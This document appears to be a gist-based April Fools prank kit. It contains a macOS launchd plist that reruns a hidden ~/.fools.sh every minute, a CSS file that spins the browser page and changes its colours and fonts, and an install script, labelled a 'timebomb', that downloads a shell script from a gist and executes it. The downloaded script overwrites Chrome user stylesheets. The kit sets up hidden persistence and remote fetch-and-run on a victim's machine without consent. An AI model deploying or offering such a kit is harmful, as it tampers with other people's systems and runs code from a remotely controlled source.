com.fools.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>Label</key>
  <string>com.fools</string>

  <key>EnableGlobbing</key>
  <true/>

  <key>ProgramArguments</key>
  <array>
    <string>~/.fools.sh</string>
  </array>

  <key>StartInterval</key>
  <integer>60</integer>

  <key>RunAtLoad</key>
  <true/>
</dict>
</plist>

Custom.css

body{-webkit-animation: spin 30s linear infinite;}
p:before {content: "Code in Ruby! ";}
body, p, body p, body div p {font-family: 'Comic Sans MS', cursive !important;}
html {-webkit-animation: rainbow 8s infinite;}
@-webkit-keyframes blur {
  0%   { -webkit-filter: blur(0px); }
  49%   { -webkit-filter: blur(0px); }
  50%   { -webkit-filter: blur(1px); }
  51%   { -webkit-filter: blur(0px); }
  100%   { -webkit-filter: blur(0px); }
}
@-webkit-keyframes spin {
  0%   { -webkit-transform: rotate(0deg); }
  100%   { -webkit-transform: rotate(360deg); }
}
@-webkit-keyframes rainbow {
  100% { -webkit-filter: hue-rotate(360deg); }
}
@-webkit-keyframes fall {
  0%   { -webkit-transform: none; }
  100%   { -webkit-transform: rotateX(-90deg); }
}

fools.sh

curl -sL raw.github.com/gist/5271225/Custom.css > /tmp/Custom.css


# If it's april fools move the attack into place.
mv /tmp/Custom.css ~/Library/Application\ Support/Google/Chrome/Default/User\ StyleSheets/Custom.css
mv /tmp/Custom.css ~/.config/google-chrome/Default/User\ StyleSheets/Custom.css

install.sh

# Create timebomb in ~/.fools.sh
curl -sL https://gist.github.com/adamgamble/5273287/raw/da2167e3438f1514abe42dfadce087aaf9f39671/fools.sh > ~/.fools.sh
chmod a+x ~/.fools.sh
sh ~/.fools.sh

uninstall.sh

rm ~/Library/Application\ Support/Google/Chrome/Default/User\ StyleSheets/Custom.css
rm ~/.fools.sh